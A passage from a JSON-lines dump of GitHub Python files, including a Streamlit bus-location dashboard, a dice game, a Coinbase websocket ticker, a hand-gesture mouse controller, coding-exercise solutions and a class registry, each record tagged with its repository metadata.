\"WITH RankedLocations AS (SELECT timestamp AS measurement_time, bus_id AS bus_name, latitude, longitude, ROW_NUMBER() OVER (PARTITION BY bus_id ORDER BY timestamp DESC) AS rn FROM labredes.tracking.locations) SELECT measurement_time, bus_name, latitude, longitude FROM RankedLocations WHERE rn = 1;\"\nbus_rows = run_query(bus_query)\nbus_data = pd.DataFrame(bus_rows, columns=['measurement_time', 'bus_name', 'latitude', 'longitude'])\n\n# Define colors for specific bus lines\nbus_colors = {\n \"CAIO-0001\": \"red\",\n \"8012-10-2023\": \"purple\",\n \"8012-10-34791\": \"green\",\n \"8022-10-2085\": \"orange\",\n \"8032-10-2545\": \"darkred\",\n \"702U-10-34098\": \"darkblue\",\n \"701U-10-657\": \"pink\",\n}\n\n# Read the CSV file (for bus stops)\ntry:\n bus_stops_df = pd.read_csv('stops.csv', header=None)\nexcept:\n bus_stops_df = pd.read_csv('app/streamlit-dashboard/stops.csv', header=None)\nbus_stops = [(row[3], row[4], row[1]) for index, row in bus_stops_df.iterrows()]\n\n# Bus selection\nbus_options = st.multiselect('Select buses', options=bus_data['bus_name'].unique(), default=bus_data['bus_name'].unique())\nbus_data = bus_data[bus_data['bus_name'].isin(bus_options)]\n\nwith st.expander('Most Recent Positions Map'):\n \n if st.checkbox('Most Recent Positions'):\n # st.write(bus_data)\n st.dataframe(bus_data, use_container_width=True, hide_index=True)\n\n if st.checkbox('Bus Stops'):\n # st.write(pd.DataFrame(bus_stops, columns=['latitude', 'longitude', 'stop_name']))\n st.dataframe(pd.DataFrame(bus_stops, columns=['latitude', 'longitude', 'stop_name']), use_container_width=True, hide_index=True)\n\n if st.checkbox(\"Show positions map\"):\n # Create a map \n m = folium.Map(location=[bus_stops[0][0], bus_stops[0][1]], zoom_start=14)\n\n # Add bus stops to the map\n for stop in bus_stops:\n lat, lon, name = stop\n folium.Marker([lat, lon], popup=name, icon=folium.Icon(color='blue', icon='bus', prefix='fa')).add_to(m)\n\n # Add buses to the map\n for index, row in bus_data.iterrows():\n if row['bus_name'] in bus_options:\n color = bus_colors.get(row['bus_name'], 'gray') # Use 'gray' for buses not in the defined list\n folium.Marker([row['latitude'], row['longitude']], popup=row['bus_name'], icon=folium.Icon(color=color, icon=\"location-pin\", prefix=\"fa\")).add_to(m)\n folium.map.Marker(\n [row['latitude'], row['longitude']],\n icon=folium.DivIcon(html=f\"
    {row['bus_name']}
    \")\n ).add_to(m)\n\n # Display the map in Streamlit\n folium_static(m, width=670)\n\nwith st.expander('Historical Positions (per bus) Map'):\n hist_bus_option = st.selectbox('Select buses', options=bus_data['bus_name'].unique(), index=0)\n hist_number_of_records = st.number_input('Use the last N records to compute speed and distance: ', min_value=1, max_value=100, value=10, step=1)\n hist_bus_query = f\"WITH RankedLocations AS (SELECT timestamp AS measurement_time, bus_id AS bus_name, latitude, longitude, ROW_NUMBER() OVER (PARTITION BY bus_id ORDER BY timestamp DESC) AS rn FROM labredes.tracking.locations) SELECT measurement_time, bus_name, latitude, longitude FROM RankedLocations WHERE rn <= {hist_number_of_records};\"\n hist_bus_rows = run_query(hist_bus_query)\n hist_bus_data = pd.DataFrame(hist_bus_rows, columns=['measurement_time', 'bus_name', 'latitude', 'longitude'])\n hist_bus_data = hist_bus_data[hist_bus_data['bus_name'] == hist_bus_option]\n hist_bus_data['measurement_time'] = pd.to_datetime(hist_bus_data['measurement_time'])\n hist_bus_data = hist_bus_data.sort_values(['bus_name', 'measurement_time'])\n hist_bus_data = hist_bus_data[hist_bus_data['bus_name'].isin(bus_options)]\n\n if st.checkbox(\"Historical Positions\"):\n st.dataframe(hist_bus_data, use_container_width=True, hide_index=True)\n\n if st.checkbox(\"Show historical positions map\"):\n hist_map = folium.Map(location=[bus_stops[0][0], bus_stops[0][1]], zoom_start=14)\n\n # Add bus stops to the map\n for stop in bus_stops:\n lat, lon, name = stop\n folium.Marker([lat, lon], popup=name, icon=folium.Icon(color='blue', icon='bus', prefix='fa')).add_to(hist_map)\n \n # Add historical postions of a selected bus\n for index, row in hist_bus_data.iterrows():\n if row['bus_name'] == hist_bus_option:\n color = bus_colors.get(row['bus_name'], 'gray') \n folium.Marker([row['latitude'], row['longitude']], popup=row['bus_name'], icon=folium.Icon(color=color, icon=\"location-pin\", prefix=\"fa\")).add_to(hist_map)\n folium.map.Marker(\n [row['latitude'], row['longitude']],\n icon=folium.DivIcon(html=f\"
    {row['bus_name']}
    \")\n ).add_to(hist_map)\n\n # Display the map in Streamlit\n folium_static(hist_map, width=670) \n\n \n# Show raw data\nwith st.expander('Bus Colors'):\n colors_table = pd.DataFrame.from_dict(bus_colors, orient='index', columns=['Color']).reset_index()\n colors_table.columns = ['Bus Name', 'Color']\n st.dataframe(colors_table, use_container_width=True, hide_index=True)\n\nwith st.expander('Past Positions, Average Speed and Distance Traveled'):\n st.write(\"Recent average speed and total distance traveled by each bus\")\n number_of_records = st.number_input('Use last N records to compute speed and distance: ', min_value=1, max_value=100, value=10, step=1)\n bus_query = f\"WITH RankedLocations AS (SELECT timestamp AS measurement_time, bus_id AS bus_name, latitude, longitude, ROW_NUMBER() OVER (PARTITION BY bus_id ORDER BY timestamp DESC) AS rn FROM labredes.tracking.locations) SELECT measurement_time, bus_name, latitude, longitude FROM RankedLocations WHERE rn <= {number_of_records};\"\n bus_rows = run_query(bus_query)\n bus_data = pd.DataFrame(bus_rows, columns=['measurement_time', 'bus_name', 'latitude', 'longitude'])\n bus_data['measurement_time'] = pd.to_datetime(bus_data['measurement_time'])\n bus_data = bus_data.sort_values(['bus_name', 'measurement_time'])\n bus_data = bus_data[bus_data['bus_name'].isin(bus_options)]\n\n if st.checkbox('Show past positions'):\n st.dataframe(bus_data, use_container_width=True, hide_index=True)\n \n average_speeds = bus_data.groupby('bus_name').apply(calculate_average_speed).reset_index(name='average_speed')\n total_distances = bus_data.groupby('bus_name').apply(calculate_distance).reset_index(name='total_distance')\n\n # Merging the two dataframes\n merged_data = pd.merge(average_speeds, total_distances, on='bus_name')\n st.write(\"Distance Traveled (km) and Average Speeds (km/h):\")\n st.dataframe(merged_data, use_container_width=True, hide_index=True)\n\nst_autorefresh(interval=15000, limit=10_000_000, key=\"autorefresh\")","repo_name":"Brenovyski/BusMonitor","sub_path":"app/streamlit-dashboard/busmonitor.py","file_name":"busmonitor.py","file_ext":"py","file_size_in_byte":8887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30766243520","text":"from random import randint\n#FUNÇÃO QUE TORNA OS NÚMEROS ALEATORIAMENTE\nfrom time import sleep\n#FUNÇÃO QUE DA UM ATRASO NA RESPOSTA\nfrom operator import itemgetter\njogadores= {'jogador 1' : randint(1,6),\n 'jogador 2' : randint(1,6), \n 'jogador 3' : randint(1,6),\n 'jogador 4' : randint(1,6),\n 'jogador 5' : randint(1,6),\n 'jogador 6' : randint(1,6)}\n# DEFININDO OS JOGADORES\nraking = list ()\nprint('Resultados:')\nfor k, v in jogadores.items():\n print(f'{k} tirou {v} no dado.')\n sleep(1)\nranking = sorted(jogadores.items(), key=itemgetter(1), reverse=True)\nprint('--'*25)\nprint(' *Ranking dos Jogadores*')\nprint('--'*25)\nfor i, v in enumerate (ranking):\n print(f'{i+1}º Lugar: {v[0]} com o número {v[1]}.')\n sleep(1)\n print('--'*18)\n\nprint(' *Fim de Jogo*')","repo_name":"Alvrzz/Repositorio-de-estudos-pessoais-Entra21","sub_path":"repositorio_de_estudos_entra21/estudos_pratica/Python/Jogo de Dados aleátorios.py","file_name":"Jogo de Dados aleátorios.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"74267738009","text":"import aiohttp\nimport asyncio\nimport requests\nimport os\nimport urllib.parse\nimport time\n\n\nstart = time.time()\n\n\nasync def getList(dict):\n list = []\n for key in dict.keys():\n list.append(key)\n\n return list\n\n\nasync def listToString(s):\n\n # initialize an empty string\n str1 = \"\"\n\n # traverse in the string\n for ele in s:\n str1 += ele\n\n # return string\n return str1\n\n\nasync def mainfunc():\n async with aiohttp.ClientSession() as session:\n for i in range(1, 201):\n itos = str(i)\n main_api = 'https://xkcd.com/' + itos + '/info.0.json'\n\n json_data = await session.get(main_api).json()\n json_data1 = await getList(json_data)\n json_data2 = await listToString(json_data1)\n\n with open('new.json', 'w') as f:\n f.write(await json_data2)\n\n\nasyncio.run(mainfunc())\n\n\nend = time.time()\ntotal_time = end - start\nprint(\"It took {} seconds in Asynchronous manner\".format(total_time))\n","repo_name":"gargpratyush/KOSS_submission","sub_path":"task2_async.py","file_name":"task2_async.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43107250592","text":"import configparser\n\n# -----------------------------------------------------------------------------------\n# Only used in this module\n# -----------------------------------------------------------------------------------\nconfig = configparser.SafeConfigParser()\n# This SHOULD never change...\nfilename = \"default.ini\"\n\ndef config_section_map(section):\n dict1 = {}\n options = config.options(section)\n for option in options:\n try:\n dict1[option] = config.get(section, option)\n if dict1[option] == -1:\n print(\"skip: %s\" % option)\n except:\n print(\"exception on %s!\" % option)\n dict1[option] = None\n return dict1\n\n# -----------------------------------------------------------------------------------\n# Called Functions\n# -----------------------------------------------------------------------------------\ndef get(section, var_name):\n config.read(filename)\n var = config_section_map(section)[var_name]\n return var\n\ndef set(section, option, value):\n config.set(section, option, value)\n with open(filename, 'w') as file:\n config.write(file)\n\ndef set_list(section = [], option = [], value = []):\n for i in range(0, len(section)):\n config.set(section[i], option[i], value[i])\n with open(filename, 'w') as file:\n config.write(file)","repo_name":"htunstall/Aion","sub_path":"aion/file_handling/conf_values.py","file_name":"conf_values.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33747196612","text":"import websocket, json\n\n# create on_open function that recieves a websocket connection \"ws\"\ndef on_open(ws):\n print(\"opened connection\")\n # send message (payload) to coinbase pro that you want to subscribe to a particular symbol\n subscribe_message = {\n \"type\": \"subscribe\",\n \"channels\": [\n {\"name\": \"ticker\",\n \"product_ids\":[\"BTC-USD\"],}\n ]\n }\n ws.send(json.dumps(subscribe_message))\n\ndef on_message(ws, message):\n print(\"recieved message\")\n # convert json message back to python dictionary\n print(message)\n# establish socket connection to coinbase pro\nsocket = \"wss://ws-feed.pro.coinbase.com\"\n\n# this accepts socket as the main parameter\n# accepts call back functions: on_open\n# when it recieves ticker data, need to process that message-> on_message=on_message\nws = websocket.WebSocketApp(socket, on_open=on_open, on_message=on_message)\n\n# run websocket app\nws.run_forever()","repo_name":"oliveroliverio/Fin-CS-Automated-Trading-Bot","sub_path":"part2/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17733284982","text":"import cv2\nimport mediapipe as mp\nimport math\nfrom screeninfo import get_monitors\nimport numpy as np\nimport mouse\nimport pyautogui\nimport sys\nimport threading\n\nmp_drawing = mp.solutions.drawing_utils\nmp_drawing_styles = mp.solutions.drawing_styles\nmp_hands = mp.solutions.hands\n\n\ndef calc_screen_data():\n for m in get_monitors():\n return (m.width, m.height)\n\n \ndef calc_euclidean_dist(p1, p2):\n\n \n print(\"recived to fun calc_eqi..\")\n print(p1,p2)\n\n (p1_x, p1_y) = p1\n (p2_x, p2_y) = p2\n euc_dist = math.sqrt((p2_x - p1_x) ** 2 + (p2_y - p1_y) ** 2)\n return euc_dist\n\n\ndef correct_x(x,w):\n \n # code to correct and smooth the coordinates\n\n x = round(x,2)\n \n if x > w:\n x = w\n return x\n elif x < 0:\n x = 0\n return x\n else:\n return x\n \ndef correct_y(y,h):\n \n y = round(y,2)\n \n if y < 0:\n y = 0\n return 0\n elif y > h:\n y = h\n return y\n else:\n return y\n\n\n# mouse action ====================================== <3\n\ndef move_to(x,y):\n #pyautogui.moveTo(x, y)\n mouse.move(x,y)\n \ndef left_click(x,y):\n pyautogui.click(x,y)\n #mouse.click(button='left')\n #mouse.is_pressed(button='left')\n\n#def double_click(x,y):\n #pyautogui.click(x, y, clicks = 2, interval=0.1)\n\ndef right_click(x,y):\n pyautogui.click(x,y,button= \"right\")\n #mouse.click('right')\n #mouse.is_pressed(button='right')\n\n\ndef double_click(x,y):\n pyautogui.click(x,y,clicks=2)\n\ndef drag(x,y):\n #drag frm current pos to x,y\n pyautogui.dragTo(x,y,button=\"left\")\n\ndef toggle():\n pyautogui.hotkey(\"alt\",\"tab\")\n \ndef copy():\n pyautogui.hotkey('ctrl', 'c')\n\ndef paste():\n pyautogui.hotkey('ctrl', 'v')\n\ndef scrol_up():\n pyautogui.hscroll(20)\ndef scrol_down():\n pyautogui.hscroll(-20)\n\n \n#====================================================== <3\n\ndef start_cap(cam_inp, print_data, display = 0):\n\n #variables\n #frame reduction var\n \n frame_red = 100\n smooth_factor = 10\n\n prev_x, prev_y = 0,0\n cur_x, cur_y = 0,0\n\n #main loop\n cap = cv2.VideoCapture(cam_inp)\n with mp_hands.Hands(model_complexity=0,min_detection_confidence=0.5,min_tracking_confidence=0.5) as hands:\n while cap.isOpened():\n success, image = cap.read()\n\n height, width, _ = image.shape\n \n if not success:\n print(\"Ignoring empty camera frame.\")\n continue\n \n image.flags.writeable = False\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n results = hands.process(image)\n image.flags.writeable = True\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n\n #extracting data\n # {finger : [(tip_x,tip_y),(mcp_x,mcp_y),true or false]}\n\n left_fing_dict = {\"l_ind\":[],\"l_mid\":[],\"l_ring\":[],\"l_pinky\":[],\"l_thumb\":[]}\n right_fing_dict = {\"r_ind\":[],\"r_mid\":[],\"r_ring\":[],\"r_pinky\":[],\"r_thumb\":[]}\n cursor_pos = {\"x\":None,\"y\":None} #data of cursor\n \n \n \n if results.multi_hand_landmarks:\n \n \n for hand_index, hand_info in enumerate(results.multi_handedness):\n \n hand_label = hand_info.classification[0].label\n hand_landmarks = results.multi_hand_landmarks[hand_index]\n\n\n if hand_label.upper() == \"LEFT\":\n\n thumb_tip_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.THUMB_TIP].x * width, width)\n thumb_tip_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.THUMB_TIP].y * height, height)\n thumb_mcp_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.THUMB_MCP].x * width, width)\n thumb_mcp_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.THUMB_MCP].y * height, height)\n\n l_thumb_data = [(thumb_tip_x, thumb_tip_y),(thumb_mcp_x, thumb_mcp_y)]\n\n\n index_tip_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.INDEX_FINGER_TIP].x * width, width)\n index_tip_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.INDEX_FINGER_TIP].y * height, height)\n index_mcp_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.INDEX_FINGER_MCP].x * width, width) \n index_mcp_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.INDEX_FINGER_MCP].y * height, height)\n\n l_index_data = [(index_tip_x, index_tip_y),(index_mcp_x, index_mcp_y)]\n\n\n mid_tip_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.MIDDLE_FINGER_TIP].x * width, width) \n mid_tip_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.MIDDLE_FINGER_TIP].y * height, height)\n mid_mcp_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.MIDDLE_FINGER_MCP].x * width, width) \n mid_mcp_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.MIDDLE_FINGER_MCP].y * height, height)\n\n l_mid_data = [(mid_tip_x, mid_tip_y),(mid_mcp_x, mid_mcp_y)]\n\n\n ring_tip_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.RING_FINGER_TIP].x * width, width) \n ring_tip_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.RING_FINGER_TIP].y * height, height)\n ring_mcp_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.RING_FINGER_MCP].x * width, width) \n ring_mcp_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.RING_FINGER_MCP].y * height, height)\n\n l_ring_data = [(ring_tip_x, ring_tip_y), (ring_mcp_x, ring_mcp_y)]\n\n pinky_tip_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.PINKY_TIP].x * width, width) \n pinky_tip_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.PINKY_TIP].y * height, height)\n pinky_mcp_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.PINKY_MCP].x * width, width) \n pinky_mcp_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.PINKY_MCP].y * height, height)\n\n l_pinky_data = [(pinky_tip_x, pinky_tip_y), (pinky_mcp_x, pinky_mcp_y)]\n\n left_fing_dict[\"l_thumb\"] = l_thumb_data\n left_fing_dict[\"l_ind\"] = l_index_data\n left_fing_dict[\"l_mid\"] = l_mid_data\n left_fing_dict[\"l_ring\"] = l_ring_data\n left_fing_dict[\"l_pinky\"] = l_pinky_data \n\n \n\n \n if hand_label.upper() == \"RIGHT\":\n\n thumb_tip_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.THUMB_TIP].x * width, width)\n thumb_tip_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.THUMB_TIP].y * height, height)\n thumb_mcp_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.THUMB_MCP].x * width, width)\n thumb_mcp_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.THUMB_MCP].y * height, height)\n\n r_thumb_data = [(thumb_tip_x, thumb_tip_y),(thumb_mcp_x, thumb_mcp_y)]\n\n\n index_tip_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.INDEX_FINGER_TIP].x * width, width)\n index_tip_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.INDEX_FINGER_TIP].y * height, height)\n index_mcp_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.INDEX_FINGER_MCP].x * width, width)\n index_mcp_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.INDEX_FINGER_MCP].y * height, height)\n\n r_index_data = [(index_tip_x, index_tip_y),(index_mcp_x, index_mcp_y)]\n\n\n mid_tip_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.MIDDLE_FINGER_TIP].x * width, width)\n mid_tip_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.MIDDLE_FINGER_TIP].y * height, height)\n mid_mcp_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.MIDDLE_FINGER_MCP].x * width, width)\n mid_mcp_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.MIDDLE_FINGER_MCP].y * height, height)\n\n r_mid_data = [(mid_tip_x, mid_tip_y),(mid_mcp_x, mid_mcp_y)]\n\n\n ring_tip_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.RING_FINGER_TIP].x * width, width)\n ring_tip_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.RING_FINGER_TIP].y * height, height)\n ring_mcp_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.RING_FINGER_MCP].x * width, width)\n ring_mcp_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.RING_FINGER_MCP].y * height, height)\n\n r_ring_data = [(ring_tip_x, ring_tip_y), (ring_tip_x, ring_tip_y)]\n\n\n pinky_tip_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.PINKY_TIP].x * width, width)\n pinky_tip_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.PINKY_TIP].y * height, height)\n pinky_mcp_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.PINKY_MCP].x * width, width)\n pinky_mcp_y = correct_y(hand_landmarks.landmark[mp_hands.HandLandmark.PINKY_MCP].y * height, height)\n\n r_pinky_data = [(pinky_tip_x, pinky_tip_y), (pinky_mcp_x, pinky_mcp_y)]\n\n\n right_fing_dict[\"r_thumb\"] = r_thumb_data\n right_fing_dict[\"r_ind\"] = r_index_data\n right_fing_dict[\"r_mid\"] = r_mid_data\n right_fing_dict[\"r_ring\"] = r_ring_data\n right_fing_dict[\"r_pinky\"] = r_pinky_data\n \n\n \n if hand_label.upper() == \"LEFT\":\n wrist_x = correct_x(hand_landmarks.landmark[mp_hands.HandLandmark.WRIST].x * width, width)\n wrist_y = correct_y((hand_landmarks.landmark[mp_hands.HandLandmark.WRIST].y * height)-50, height)\n\n cursor_pos[\"x\"] = wrist_x\n cursor_pos[\"y\"] = wrist_y \n\n if print_data == 0:\n print(\"right = \",right_fing_dict)\n print()\n print(\"left = \",left_fing_dict)\n print()\n print(\"cursor at : \" , cursor_pos)\n print()\n print(\"=\"*50)\n print()\n\n\n else:\n pass\n\n\n\n\n \n\n #rendering frames\n\n #correcting coordinates\n x_coord = cursor_pos[\"x\"]\n y_coord = cursor_pos[\"y\"]\n\n w_screen,h_screen = calc_screen_data()\n\n if x_coord != None and y_coord != None:\n\n cv2.circle(image, (int(cursor_pos[\"x\"]), int(cursor_pos[\"y\"])), 20 , (3, 251, 255),2)\n\n cv2.rectangle(image, (frame_red,frame_red), (width-frame_red,height-frame_red),(225,225,225),2)\n \n new_x = np.interp(width-x_coord, (frame_red, width-frame_red), (0,w_screen))\n new_y = np.interp(y_coord, (frame_red, height-frame_red), (0,h_screen))\n\n new_x =round(new_x,2)\n new_y = round(new_y,2)\n\n #smoothning landmark\n cur_x = prev_x + (new_x-prev_x)/smooth_factor\n cur_y = prev_y + (new_y-prev_y)/smooth_factor\n\n print(cur_x,cur_y)\n move_to(cur_x,cur_y)\n \n prev_x, prev_y = cur_x, cur_y\n\n \n\n else:\n pass\n\n\n #parsing left fingers\n #index and thumb\n #\"l_ind\":[],\"l_mid\":[]\n try:\n\n i_tip,i_mcp = left_fing_dict[\"l_ind\"]\n t_tip,t_mcp = left_fing_dict[\"l_thumb\"]\n m_tip,m_mcp = left_fing_dict[\"l_mid\"]\n r_tip,r_mcp = left_fing_dict[\"l_ring\"]\n p_tip,p_mcp = left_fing_dict[\"l_pinky\"]\n \n #for left clickkkk\n i_x, i_y = i_tip\n t_x, t_y = t_tip\n\n gap = calc_euclidean_dist((i_x, i_y),(t_x, t_y))\n print(gap)\n if gap < 50:\n print(\"left_click\")\n left_click(cur_x,cur_y)\n\n #for right click\n \n m_x, m_y = m_tip\n m_m_x, m_m_y = m_mcp\n\n if m_y > m_m_y:\n print(\"right click\")\n right_click(cur_x,cur_y)\n \n #for double click\n m_t_x, m_t_y = t_mcp\n\n if t_x < m_t_x:\n print(\"double click\")\n double_click(cur_x,cur_y)\n\n \n #scrool up\n m_i_x,m_i_y = i_mcp\n if i_y > m_i_y:\n print(\"scroll up\")\n scrol_up()\n \n #scrool down\n r_x,r_y = r_tip\n m_r_x, m_r_y = r_mcp\n\n print(\"mcp :: \",m_r_y,\"tcp :: \",r_y)\n if r_y > m_r_y:\n print(\"scroll down\")\n scrol_down()\n \n #toggle\n p_x,p_y = p_tip\n m_p_x, m_p_y = p_mcp\n\n if p_y > m_p_y:\n print(\"toggling\")\n toggle()\n \n #copy\n #paste\n except:\n pass\n \n\n \n for hand_landmarks in results.multi_hand_landmarks:\n mp_drawing.draw_landmarks(\n image,\n hand_landmarks,\n mp_hands.HAND_CONNECTIONS,\n mp_drawing_styles.get_default_hand_landmarks_style(),\n mp_drawing_styles.get_default_hand_connections_style())\n\n\n \n if display == 0:\n cv2.imshow('MediaPipe Hands', cv2.flip(image, 1))\n if cv2.waitKey(5) & 0xFF == 27:\n break\n else:\n pass\n \n cap.release()\n \n \n\n \n \n \n\n\n","repo_name":"gautam132002/cvcursor","sub_path":"calc_cords.py","file_name":"calc_cords.py","file_ext":"py","file_size_in_byte":15272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37496679926","text":"class Solution:\n def makeLargestSpecial(self, s: str) -> str:\n cur = last = 0\n candidates = []\n for i, c in enumerate(s):\n cur += 1 if c == '1' else -1\n if not cur:\n candidates.append('1' + self.makeLargestSpecial(s[last + 1:i]) + '0')\n last = i + 1\n return ''.join(sorted(candidates, reverse=True))","repo_name":"qbnmmm/leetcode","sub_path":"每日一题/220808_761. 特殊的二进制序列.py","file_name":"220808_761. 特殊的二进制序列.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33959340690","text":"#!/bin/python3\n\nimport os\n\n\n#\n# Complete the xorMatrix function below.\n#\ndef xorMatrix(m, first_row):\n #\n # Write your code here.\n #\n n = len(first_row)\n m -= 1 # now 0 row is first row, 1 row is the first row to compute\n mb = str(bin(m))[2:]\n lmb = len(mb)\n result = first_row.copy()\n for i in range(lmb):\n if mb[i] == '1':\n tmp = result.copy()\n offset = 2 ** (lmb - 1 - i)\n for j in range(n):\n result[j] = tmp[j] ^ tmp[(j + offset) % n]\n return result\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n nm = input().split()\n\n n = int(nm[0])\n\n m = int(nm[1])\n\n first_row = list(map(int, input().rstrip().split()))\n\n last_row = xorMatrix(m, first_row)\n\n fptr.write(' '.join(map(str, last_row)))\n fptr.write('\\n')\n\n fptr.close()\n","repo_name":"HBinhCT/Q-project","sub_path":"hackerrank/Algorithms/XOR Matrix/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"20388775057","text":"\"\"\" \r\n-описати абстрактний базовий клас для представлень користувача і конкретні реалізації, які наслідують базовий клас і\r\nреалізують консольний інтерфейс.\r\n\"\"\"\r\n# import sys\r\nfrom typing import NoReturn\r\n\r\nfrom system.pva import PVA\r\n\r\n\r\ndef main() -> NoReturn:\r\n pva_start = PVA()\r\n pva_start.start()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n ","repo_name":"DenysTantsiura/personal_virtual_assistant","sub_path":"personal_virtual_assistant/start_pva.py","file_name":"start_pva.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73105894168","text":"def linear_search_1(lst, x):\n result = None\n for index, string in enumerate(lst):\n #print(index, string)\n if string == x:\n result = index\n return result\n\n\ndef linear_search_2(lst, x):\n i = 0\n while i < len(lst) and lst[i] != x:\n #print(i)\n i += 1\n return i if i < len(lst) else None\n\n\ndef linear_search_3(lst, x):\n lst.append(x)\n i = 0\n while lst[i] != x:\n #print(i)\n i += 1\n return i if i < len(lst) - 1 else None\n\n\nif __name__ == '__main__':\n a = ['q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p']\n print('=' * 10, linear_search_3(a, 'y'), sep='\\n')\n","repo_name":"stleon/algorithms","sub_path":"linear_search.py","file_name":"linear_search.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"42973807846","text":"\"\"\"\n===================================================\nRegister classes and Map class name to class object\n===================================================\n\nCreated 2022/06/21\n@author: Chen Solomon\n@organization: Weizmann Institute of Science\n\"\"\"\nimport inspect\nfrom typing import Any, Type\n\n\n# Basic Example for flexible model configuration\n# >> registry = {'unet': UnetModelClass} # registry is a dictionary-like object mapping names to classes\n# >> net_name = 'unet' # class names we get from a config file .json/.yml\n# >> net_class = registry[net_name] # -> maps to model class\n# >> model_instance = net_class(**arguments_in_dict_defined_elsewhere)\n\nclass Registry(object):\n \"\"\"\n A class to register all object types in\n original @author: Tianwei Yin (https://github.com/tianweiy/CenterPoint/blob/master/det3d/utils/registry.py)\n Adapted by: Chen Solomon\n\n How to use:\n Each class used in the project should be decorated with the proper registry's 'register_module' method\n The corresponding registry object (defined in the corresponding builder's file) should be imported in the .py file\n The object's .py file should be imported in the __init__.py file of its python package (folder)\n\n Example:\n # >>> from registry import Registry\n # >>>\n # >>> BLOCKS = Registry(\"Blocks\")\n # >>>\n # >>> @BLOCKS.register_class\n # ... class NeuralNet: pass\n # >>>\n # >>> print(BLOCKS)\n Registry(name=Blocks, items=['NeuralNet'])\n \"\"\"\n\n def __init__(self, name):\n \"\"\"\n\n @param name: identifier of registry type\n \"\"\"\n self._name = name\n self._class_dict = dict()\n\n def __repr__(self):\n format_str = self.__class__.__name__ + \"(name={}, items={})\".format(\n self._name, list(self._class_dict.keys())\n )\n return format_str\n\n @property\n def name(self):\n return self._name\n\n @property\n def class_dict(self):\n return self._class_dict\n\n def get(self, key):\n return self._class_dict.get(key, None)\n\n def _register_class(self, cls: Type[Any]):\n \"\"\"Register a module.\n @param: module_class (:obj:`nn.Module`): Module to be registered.\n \"\"\"\n # check that input is a class\n if not inspect.isclass(cls):\n raise TypeError(\n \"input must be a class, but got {}\".format(type(cls))\n )\n # check that class name is not already registered\n module_name = cls.__name__\n if module_name in self._class_dict:\n raise KeyError(\n \"{} is already registered in {}\".format(module_name, self.name)\n )\n self._class_dict[module_name] = cls\n\n def register_class(self, cls: Type[Any]) -> Type[Any]:\n self._register_class(cls)\n return cls\n\n def __len__(self):\n return self._class_dict.__len__()\n\n\n\"\"\"\nRegistry Instances\n\"\"\"\n# # torch.nn.Module\n# Registry of generic 